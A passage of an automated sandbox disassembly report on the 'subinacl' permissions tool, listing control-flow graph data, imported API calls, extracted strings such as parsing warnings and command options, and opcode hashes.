103c3c6 1197->1214 1215 103c3cb-103c3e7 1197->1215 1198->1152 1199->1198 1210->1194 1211->1210 1214->1215 1218 103c3f0-103c426 #800 * 2 1215->1218 1219 103c3e9-103c3eb 1215->1219 1218->1145 1219->1218
                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 0103BC8B
                                                                                                                    • Part of subcall function 01038174: __EH_prolog.LIBCMT ref: 01038179
                                                                                                                    • Part of subcall function 01038174: #823.MFC42U(?,?,00000002,00000000,?,0103BCD4,00000000,00000000,01001510,00000003), ref: 010381B5
                                                                                                                  • #540.MFC42U(00000000,00000000,01001510,00000003), ref: 0103BCDD
                                                                                                                  • #540.MFC42U(00000000,00000000,01001510,00000003), ref: 0103BCEB
                                                                                                                  • #540.MFC42U(00000000,00000000,01001510,00000003), ref: 0103BD22
                                                                                                                  • #823.MFC42U(00002710,00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103BD5F
                                                                                                                  • ExpandEnvironmentStringsW.KERNEL32(?,00000000,00001388,00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103BD7C
                                                                                                                  • wcscpy.MSVCRT ref: 0103BD93
                                                                                                                  • #825.MFC42U(?), ref: 0103BDCF
                                                                                                                  • #861.MFC42U(?,00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103BDE2
                                                                                                                  • #4197.MFC42U(?,00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103BDED
                                                                                                                  • #6278.MFC42U(?,00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103BDF8
                                                                                                                  • #6279.MFC42U(?,00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103BE03
                                                                                                                  • #537.MFC42U(0101B430,?,00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103BE2A
                                                                                                                  • #800.MFC42U(?,?,0101B430,?,00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103BE4E
                                                                                                                    • Part of subcall function 0103D0FB: CreateFileW.KERNELBASE(CONOUT$,C0000000,00000003,00000000,00000003,00000080,00000000,?,00000002,00000000), ref: 0103D132
                                                                                                                    • Part of subcall function 0103D0FB: GetLastError.KERNEL32 ref: 0103D13B
                                                                                                                    • Part of subcall function 0103D0FB: GetLargestConsoleWindowSize.KERNELBASE(?), ref: 0103D14D
                                                                                                                    • Part of subcall function 0103D0FB: GetConsoleScreenBufferInfo.KERNELBASE(?,?), ref: 0103D15D
                                                                                                                    • Part of subcall function 0103D0FB: CreateConsoleScreenBuffer.KERNELBASE(C0000000,00000003,00000000,00000001,00000000), ref: 0103D16A
                                                                                                                    • Part of subcall function 0103D0FB: SetConsoleScreenBufferSize.KERNELBASE(00000000,?), ref: 0103D17B
                                                                                                                    • Part of subcall function 0103D0FB: CloseHandle.KERNEL32(?), ref: 0103D193
                                                                                                                    • Part of subcall function 0103D0FB: CloseHandle.KERNEL32(?), ref: 0103D19B
                                                                                                                    • Part of subcall function 0103D0FB: #825.MFC42U(?), ref: 0103D1CA
                                                                                                                    • Part of subcall function 0103D0FB: #823.MFC42U(?), ref: 0103D1D7
                                                                                                                    • Part of subcall function 0103D0FB: swprintf.MSVCRT(?,Done: %8d, Modified %8d, Failed %8d, Syntax errors %8d,?,?,?,0104E3E8), ref: 0103D21C
                                                                                                                    • Part of subcall function 0103CF1C: SetConsoleActiveScreenBuffer.KERNEL32(?,00000000,0103BC4B,?,?,?,00000004,?,?,0101B0F8,action|?> ,0101B134,00000000,00000000,00000000,01001510), ref: 0103CF32
                                                                                                                  • wcscmp.MSVCRT ref: 0103BEA2
                                                                                                                  • #861.MFC42U ref: 0103BEC0
                                                                                                                  • #540.MFC42U ref: 0103BEF3
                                                                                                                  • #535.MFC42U(?), ref: 0103BF09
                                                                                                                  • #538.MFC42U(WARNING : ,?), ref: 0103BF1F
                                                                                                                  • #922.MFC42U(?,00000000,00000000,WARNING : ,?), ref: 0103BF31
                                                                                                                  • #925.MFC42U(?,00000000, : No previous object opened,?,00000000,00000000,WARNING : ,?), ref: 0103BF47
                                                                                                                  • #858.MFC42U(00000000,?,00000000, : No previous object opened,?,00000000,00000000,WARNING : ,?), ref: 0103BF57
                                                                                                                  • #800.MFC42U(00000000,?,00000000, : No previous object opened,?,00000000,00000000,WARNING : ,?), ref: 0103BF66
                                                                                                                  • #800.MFC42U(00000000,?,00000000, : No previous object opened,?,00000000,00000000,WARNING : ,?), ref: 0103BF75
                                                                                                                  • #800.MFC42U(00000000,?,00000000, : No previous object opened,?,00000000,00000000,WARNING : ,?), ref: 0103BF84
                                                                                                                  • #800.MFC42U(00000000,?,00000000, : No previous object opened,?,00000000,00000000,WARNING : ,?), ref: 0103BF93
                                                                                                                  • #2910.MFC42U(00000000,00000000,?,00000000, : No previous object opened,?,00000000,00000000,WARNING : ,?), ref: 0103BFA6
                                                                                                                  • #800.MFC42U(?), ref: 0103BFD8
                                                                                                                  • #540.MFC42U(?,00000000,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C07C
                                                                                                                  • #538.MFC42U( : Invalid option : ,?,00000000,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C090
                                                                                                                  • #535.MFC42U(?, : Invalid option : ,?,00000000,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C0A8
                                                                                                                  • #538.MFC42U(WARNING : ,?, : Invalid option : ,?,00000000,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C0C2
                                                                                                                  • #922.MFC42U(?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C0D9
                                                                                                                  • #922.MFC42U(?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?,00000000,00000000,00000000,?), ref: 0103C0EB
                                                                                                                  • #922.MFC42U(?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?,00000000), ref: 0103C106
                                                                                                                  • #858.MFC42U(00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?), ref: 0103C116
                                                                                                                  • #800.MFC42U(00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?), ref: 0103C125
                                                                                                                  • #800.MFC42U(00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?), ref: 0103C134
                                                                                                                  • #800.MFC42U(00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?), ref: 0103C143
                                                                                                                  • #800.MFC42U(00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?), ref: 0103C152
                                                                                                                  • #800.MFC42U(00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?), ref: 0103C161
                                                                                                                  • #800.MFC42U(00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000,?), ref: 0103C170
                                                                                                                  • #800.MFC42U(?), ref: 0103C1CA
                                                                                                                  • #800.MFC42U(00000000,?,00000000, will not be processed,?,00000000,?,Current object ,?,00000000,?,?,?,00000000,?,00000000), ref: 0103C380
                                                                                                                  • #800.MFC42U(00000000,?,00000000, will not be processed,?,00000000,?,Current object ,?,00000000,?,?,?,00000000,?,00000000), ref: 0103C38F
                                                                                                                  • #2910.MFC42U(00000000,00000000,?,00000000, will not be processed,?,00000000,?,Current object ,?,00000000,?,?,?,00000000,?), ref: 0103C3A2
                                                                                                                  • #800.MFC42U ref: 0103C417
                                                                                                                  • #800.MFC42U ref: 0103C426
                                                                                                                  • #2756.MFC42U(010025F4), ref: 0103C69A
                                                                                                                  • wcscmp.MSVCRT ref: 0103C6B0
                                                                                                                  • #538.MFC42U(WARNING : Error parsing line ), ref: 0103C6DF
                                                                                                                  • #922.MFC42U(?,00000000,?,WARNING : Error parsing line ), ref: 0103C6F7
                                                                                                                  • #800.MFC42U(?,00000000,?,WARNING : Error parsing line ), ref: 0103C706
                                                                                                                  • #2910.MFC42U(00000000,?,00000000,?,WARNING : Error parsing line ), ref: 0103C719
                                                                                                                  • #4124.MFC42U(?,000000FF), ref: 0103C77E
                                                                                                                  • #858.MFC42U(00000000,?,000000FF), ref: 0103C78E
                                                                                                                  • #800.MFC42U(00000000,?,000000FF), ref: 0103C79D
                                                                                                                  • #6279.MFC42U(00000000,?,000000FF), ref: 0103C7A8
                                                                                                                  • #538.MFC42U(?,00000000,?,000000FF), ref: 0103C7BA
                                                                                                                  • #4272.MFC42U(?,000000FF,?,00000000,?,000000FF), ref: 0103C7D6
                                                                                                                  • #858.MFC42U(00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C7E6
                                                                                                                  • #800.MFC42U(00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C7F5
                                                                                                                  • #6278.MFC42U(00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C800
                                                                                                                  • #5597.MFC42U(00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C811
                                                                                                                  • #5597.MFC42U(00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C81C
                                                                                                                  • #538.MFC42U(WARNING : Error parsing line ,?,?,?,?,00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C85F
                                                                                                                  • #922.MFC42U(000000FF,00000000,?,WARNING : Error parsing line ,?,?,?,?,00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C877
                                                                                                                  • #800.MFC42U(000000FF,00000000,?,WARNING : Error parsing line ,?,?,?,?,00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C886
                                                                                                                  • #2910.MFC42U(00000000,000000FF,00000000,?,WARNING : Error parsing line ,?,?,?,?,00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C899
                                                                                                                  • #2910.MFC42U(00000000,00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Invalid option : ,?,00000000), ref: 0103C183
                                                                                                                    • Part of subcall function 0103D271: __EH_prolog.LIBCMT ref: 0103D276
                                                                                                                    • Part of subcall function 0103D271: #538.MFC42U(Last Syntax Error:,00000002,?,?,0103C8C1,?), ref: 0103D288
                                                                                                                    • Part of subcall function 0103D271: #922.MFC42U(?,00000000,00000002,Last Syntax Error:,00000002,?,?,0103C8C1,?), ref: 0103D299
                                                                                                                    • Part of subcall function 0103D271: #858.MFC42U(00000000,?,00000000,00000002,Last Syntax Error:,00000002,?,?,0103C8C1,?), ref: 0103D2A6
                                                                                                                    • Part of subcall function 0103D271: #800.MFC42U(00000000,?,00000000,00000002,Last Syntax Error:,00000002,?,?,0103C8C1,?), ref: 0103D2B2
                                                                                                                    • Part of subcall function 0103D271: #800.MFC42U(00000000,?,00000000,00000002,Last Syntax Error:,00000002,?,?,0103C8C1,?), ref: 0103D2BE
                                                                                                                  • #535.MFC42U(?,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C060
                                                                                                                    • Part of subcall function 01035405: __EH_prolog.LIBCMT ref: 0103540A
                                                                                                                    • Part of subcall function 01035405: #535.MFC42U(?,00000000), ref: 01035458
                                                                                                                    • Part of subcall function 01035405: #4197.MFC42U(?,00000000), ref: 01035463
                                                                                                                    • Part of subcall function 01035405: #535.MFC42U(?,01001510,?,?,00000000), ref: 0103548E
                                                                                                                    • Part of subcall function 01035405: #535.MFC42U(?,?,01001510,?,?,00000000), ref: 0103549E
                                                                                                                    • Part of subcall function 01035405: #538.MFC42U(010014DC,?,?,01001510,?,?,00000000), ref: 010354AF
                                                                                                                    • Part of subcall function 01035405: #2910.MFC42U(00000000,010014DC,?,?,01001510,?,?,00000000), ref: 010355C4
                                                                                                                    • Part of subcall function 01035405: #2756.MFC42U(00000000,00000000,010014DC,?,?,01001510,?,?,00000000), ref: 010355CD
                                                                                                                    • Part of subcall function 01035405: #922.MFC42U(?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000,00000000), ref: 010355E9
                                                                                                                    • Part of subcall function 01035405: #858.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 010355F6
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 01035602
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 0103560E
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 0103561A
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 01035625
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(?,00000000), ref: 01035648
                                                                                                                  • #538.MFC42U( : Error when checking arguments - ,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C1E5
                                                                                                                  • #535.MFC42U(?, : Error when checking arguments - ,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C1FD
                                                                                                                  • #538.MFC42U(WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C217
                                                                                                                  • #922.MFC42U(?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C22E
                                                                                                                  • #922.MFC42U(?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?,?,?,00000000), ref: 0103C240
                                                                                                                  • #922.MFC42U(?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?), ref: 0103C25B
                                                                                                                  • #800.MFC42U(?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?), ref: 0103C26A
                                                                                                                  • #800.MFC42U(?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?), ref: 0103C279
                                                                                                                  • #800.MFC42U(?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?), ref: 0103C288
                                                                                                                  • #800.MFC42U(?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?), ref: 0103C297
                                                                                                                  • #800.MFC42U(?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000,00000000,00000000,?), ref: 0103C2A6
                                                                                                                  • #800.MFC42U(?,?,00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ,00000000), ref: 0103C2D3
                                                                                                                  • #535.MFC42U(?,?,?,00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ,?, : Error when checking arguments - ), ref: 0103C2F4
                                                                                                                  • #540.MFC42U(?,00000000,?,?,?,00000000,?,00000000,?,?,00000000,00000000,?,00000000,?,WARNING : ), ref: 0103C310
                                                                                                                  • #538.MFC42U(Current object ,?,00000000,?,?,?,00000000,?,00000000,?,?,00000000,00000000,?,00000000,?), ref: 0103C324
                                                                                                                  • #922.MFC42U(?,00000000,?,Current object ,?,00000000,?,?,?,00000000,?,00000000,?,?,00000000,00000000), ref: 0103C33C
                                                                                                                  • #925.MFC42U(?,00000000, will not be processed,?,00000000,?,Current object ,?,00000000,?,?,?,00000000,?,00000000,?), ref: 0103C352
                                                                                                                  • #858.MFC42U(00000000,?,00000000, will not be processed,?,00000000,?,Current object ,?,00000000,?,?,?,00000000,?,00000000), ref: 0103C362
                                                                                                                  • #800.MFC42U(00000000,?,00000000, will not be processed,?,00000000,?,Current object ,?,00000000,?,?,?,00000000,?,00000000), ref: 0103C371
                                                                                                                  • #800.MFC42U(?), ref: 0103C8EA
                                                                                                                  • #800.MFC42U(?,?,?,?,00000000,?,000000FF,?,00000000,?,000000FF), ref: 0103C913
                                                                                                                  • #2910.MFC42U(00000000,?,?,?,00000000), ref: 0103C02D
                                                                                                                    • Part of subcall function 010383F6: __EH_prolog.LIBCMT ref: 010383FB
                                                                                                                    • Part of subcall function 010383F6: #540.MFC42U(01001510,00000002,00000000), ref: 01038447
                                                                                                                    • Part of subcall function 010383F6: #538.MFC42U(?,01001510,00000002,00000000), ref: 0103845D
                                                                                                                    • Part of subcall function 010383F6: #540.MFC42U(?,01001510,00000002,00000000), ref: 0103846C
                                                                                                                    • Part of subcall function 010383F6: #540.MFC42U(?,01001510,00000002,00000000), ref: 0103847B
                                                                                                                    • Part of subcall function 010383F6: #538.MFC42U(none,?,01001510,00000002,00000000), ref: 0103848F
                                                                                                                    • Part of subcall function 010383F6: #2910.MFC42U(00000000), ref: 010384D7
                                                                                                                    • Part of subcall function 010383F6: #861.MFC42U(?,none,?,01001510,00000002,00000000), ref: 01038503
                                                                                                                    • Part of subcall function 010383F6: #4197.MFC42U(?,none,?,01001510,00000002,00000000), ref: 0103850E
                                                                                                                    • Part of subcall function 010383F6: #2755.MFC42U(0000003D,?,none,?,01001510,00000002,00000000), ref: 01038522
                                                                                                                    • Part of subcall function 010383F6: #2910.MFC42U(00000000,/display,00000004,0000003D,?,none,?,01001510,00000002,00000000), ref: 01038540
                                                                                                                    • Part of subcall function 010383F6: #800.MFC42U(-00000012,00000000,00000000,?,00000001,0000003D,00000000,00000000,/setowner=,00000004,00000000,?,00000000,0000003D,?,none), ref: 01038570
                                                                                                                    • Part of subcall function 010383F6: #800.MFC42U(-00000012,00000000,00000000,?,00000001,0000003D,00000000,00000000,/setowner=,00000004,00000000,?,00000000,0000003D,?,none), ref: 0103857F
                                                                                                                    • Part of subcall function 010383F6: #800.MFC42U(-00000012,00000000,00000000,?,00000001,0000003D,00000000,00000000,/setowner=,00000004,00000000,?,00000000,0000003D,?,none), ref: 0103858E
                                                                                                                  • __RTDynamicCast.MSVCRT ref: 0103C9FC
                                                                                                                  • #2755.MFC42U(0000002A), ref: 0103CA29
                                                                                                                    • Part of subcall function 01031DDF: __EH_prolog.LIBCMT ref: 01031DE4
                                                                                                                  • #800.MFC42U(00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103CAB8
                                                                                                                  • #800.MFC42U(00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103CAC6
                                                                                                                  • #800.MFC42U(00000002,?,00000000,?,?,?,00000000,00000000,01001510,00000003), ref: 0103CAD5
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #800$#538$#922$#2910#540$#535$#858$H_prolog$Console$BufferScreen$#4197#823#861$#2755#2756#5597#6278#6279#825#925CloseCreateHandleSizewcscmp$#4124#4272#537ActiveCastDynamicEnvironmentErrorExpandFileInfoLargestLastStringsWindowswprintfwcscpy
                                                                                                                  • String ID: : Error when checking arguments - $ : Invalid option : $ : No previous object opened$ will not be processed$*.*$+$+$--- DEBUG L"Parsing Adding *.*" = $--- DEBUG Playfile - ExpandEnvironmentVariable - Buffer = $/apply$/display$</subinacl>$Current object $Use :$WARNING : $WARNING : Error parsing line
                                                                                                                  • API String ID: 4124773709-89342281
                                                                                                                  • Opcode ID: 40cbe0dc6e3397d7ec43c22822d7be1750bdcd2234503bd660db9f684c798d17
                                                                                                                  • Instruction ID: 80da87f453f359b6bc8bca84971c688de2c5dc13d5e4e764c5231f5cf22e16a1
                                                                                                                  • Opcode Fuzzy Hash: 40cbe0dc6e3397d7ec43c22822d7be1750bdcd2234503bd660db9f684c798d17
                                                                                                                  • Instruction Fuzzy Hash: 95923C70808259DFDF25EBA4C998ADDB7B8EF69300F0041DAE18DA3191DB745B88DF61
                                                                                                                  Function 01033E45 Relevance: 38.8, APIs: 18, Strings: 4, Instructions: 327COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1220 1033e45-1033e82 call 103e368 SetConsoleCtrlHandler CoInitialize GetCommandLineW CommandLineToArgvW 1223 1033e84-1033e87 1220->1223 1224 1033e8c-1033ea0 #823 1220->1224 1227 1034248-1034255 1223->1227 1225 1033ea2-1033ebf call 103e555 1224->1225 1226 1033ec1 1224->1226 1229 1033ec3-1033ee1 1225->1229 1226->1229 1231 1033ee3-1033ee6 1229->1231 1232 1033ef7 1229->1232 1233 1033ee8-1033eea call 1034557 1231->1233 1234 1033f37-1033f41 call 1035efd 1232->1234 1235 1033ef9-1033f0a call 10358c5 1232->1235 1240 1033eef-1033ef2 1233->1240 1242 1033f43-1033f5d call 103330b 1234->1242 1243 1033f75-1033f79 1234->1243 1245 1033f1f-1033f26 1235->1245 1246 1033f0c-1033f1d call 10358c5 1235->1246 1244 1034247 1240->1244 1242->1240 1258 1033f5f-1033f61 1242->1258 1250 1033f87-1033f93 call 101cd59 1243->1250 1251 1033f7b-1033f81 1243->1251 1244->1227 1247 1033f32-1033f33 1245->1247 1248 1033f28-1033f30 1245->1248 1246->1234 1246->1245 1254 1033f34-1033f35 1247->1254 1248->1254 1259 1033f95-1033fa7 call 101cd59 1250->1259 1260 1033faf-1033fbb call 101cd59 1250->1260 1251->1231 1251->1250 1254->1233 1261 1033f73 1258->1261 1262 1033f63-1033f71 1258->1262 1259->1260 1267 1033fa9 1259->1267 1268 1033fc7-1033fd9 #540 1260->1268 1269 1033fbd 1260->1269 1261->1243 1262->1242 1262->1261 1267->1260 1270 1033fe6-1033ff6 #540 1268->1270 1271 1033fdb-1033fe1 #861 1268->1271 1269->1268 1272 1034003-103401b #2910 call 10358c5 1270->1272 1273 1033ff8-1033ffe #861 1270->1273 1271->1270 1276 1034021-103404e call 101cb5c #2910 call 101ccd2 call 101cd59 1272->1276 1277 10340c6-10340eb call 1032f84 call 101d5f3 1272->1277 1273->1272 1294 1034050-103408f #2910 call 101d34c 1276->1294 1295 1034094-10340a9 call 103bc86 1276->1295 1287 1034171-1034177 1277->1287 1288 10340f1-1034109 #2910 1277->1288 1290 1034179 1287->1290 1291 10341df-10341f9 call 103bc86 1287->1291 1292 103412b-103416c #2910 * 2 1288->1292 1293 103410b-1034126 1288->1293 1297 1034180-1034189 1290->1297 1303 1034205-103420f call 1033155 1291->1303 1304 10341fb-1034200 call 103cda7 1291->1304 1292->1287 1293->1292 1327 103422d-1034245 #800 * 2 1294->1327 1313 10340b5-10340c1 call 101d34c 1295->1313 1314 10340ab-10340b0 call 103cda7 1295->1314 1297->1291 1298 103418b-1034192 1297->1298 1305 1034194-1034197 1298->1305 1306 10341be 1298->1306 1317 1034214 1303->1317 1304->1303 1305->1306 1310 1034199-10341bc 1305->1310 1315 10341bf-10341dd 1306->1315 1310->1315 1322 1034216-103421c 1313->1322 1314->1313 1315->1291 1315->1297 1317->1322 1326 103421e-1034228 call 102f5d2 1322->1326 1322->1327 1326->1327 1327->1244
                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 01033E4A
                                                                                                                  • SetConsoleCtrlHandler.KERNEL32(01032603,00000001), ref: 01033E5E
                                                                                                                  • CoInitialize.OLE32(00000000), ref: 01033E67
                                                                                                                  • GetCommandLineW.KERNEL32(?), ref: 01033E71
                                                                                                                  • CommandLineToArgvW.SHELL32(00000000), ref: 01033E78
                                                                                                                  • #823.MFC42U(000000A4), ref: 01033E92
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CommandLine$#823ArgvConsoleCtrlH_prologHandlerInitialize
                                                                                                                  • String ID: --- DEBUG Option = $/help$/playfile$Can't open playfile file
                                                                                                                  • API String ID: 780783075-2399648983
                                                                                                                  • Opcode ID: 9d8fb24dd25c3e7f5de69b308beb37e1556edb647800677095af126dd49a5cf6
                                                                                                                  • Instruction ID: 9163a72d6d4645e1231c6f6c94704be91423c6ec0ea9a91bcba559d490b20847
                                                                                                                  • Opcode Fuzzy Hash: 9d8fb24dd25c3e7f5de69b308beb37e1556edb647800677095af126dd49a5cf6
                                                                                                                  • Instruction Fuzzy Hash: DFC1C674600206EFDB25EFA4C9C5BEEBBB8FF94340F404169E582EB190DB749941CBA1
                                                                                                                  Function 0103CDA7 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133timefileCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1365 103cda7-103ce52 call 103cc63 GetSystemTime SystemTimeToFileTime * 2 FileTimeToSystemTime sprintf 1368 103ce55-103ce5a 1365->1368 1368->1368 1369 103ce5c-103ce83 WriteFile 1368->1369 1370 103ce86-103ce92 1369->1370 1371 103ce94-103ceb2 #942 #823 1370->1371 1372 103cef8-103ceff 1370->1372 1371->1372 1373 103ceb4-103ced1 #2910 sprintf 1371->1373 1372->1370 1374 103cf01-103cf16 call 103dee7 1372->1374 1375 103ced4-103ced9 1373->1375 1375->1375 1377 103cedb-103cef7 WriteFile #825 1375->1377 1377->1372
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 0103CC63: SetConsoleActiveScreenBuffer.KERNELBASE(?,0103BA91,00000001,00000001), ref: 0103CC6B
                                                                                                                  • GetSystemTime.KERNEL32(?,00000000,01001510,00000003), ref: 0103CDCF
                                                                                                                  • SystemTimeToFileTime.KERNEL32(?,?), ref: 0103CDF1
                                                                                                                  • SystemTimeToFileTime.KERNEL32(0104E41C,?), ref: 0103CDFB
                                                                                                                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 0103CE17
                                                                                                                  • sprintf.MSVCRT ref: 0103CE46
                                                                                                                  • WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 0103CE6B
                                                                                                                  • #942.MFC42U(01001510), ref: 0103CE9B
                                                                                                                  • #823.MFC42U(?,01001510), ref: 0103CEA7
                                                                                                                  • #2910.MFC42U(00000000,01001510), ref: 0103CEB7
                                                                                                                  • sprintf.MSVCRT ref: 0103CEC5
                                                                                                                  • WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 0103CEE9
                                                                                                                  • #825.MFC42U(?), ref: 0103CEF2
                                                                                                                  Strings
                                                                                                                  • Elapsed Time: %2.2d %2.2d:%2.2d:%2.2dDone: %8d, Modified %8d, Failed %8d, Syntax errors %8d, xrefs: 0103CE40
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Time$File$System$Writesprintf$#2910#823#825#942ActiveBufferConsoleScreen
                                                                                                                  • String ID: Elapsed Time: %2.2d %2.2d:%2.2d:%2.2dDone: %8d, Modified %8d, Failed %8d, Syntax errors %8d
                                                                                                                  • API String ID: 3434378175-1280237250
                                                                                                                  • Opcode ID: bae32ccf172500730bb93b2fa814b37c33420357147743ac0ec1d7874639b423
                                                                                                                  • Instruction ID: 59f7b6d4848c89bef59f4bbc9684ed178adc93bf01e891d5396cbb49e3e7bcb6
                                                                                                                  • Opcode Fuzzy Hash: bae32ccf172500730bb93b2fa814b37c33420357147743ac0ec1d7874639b423
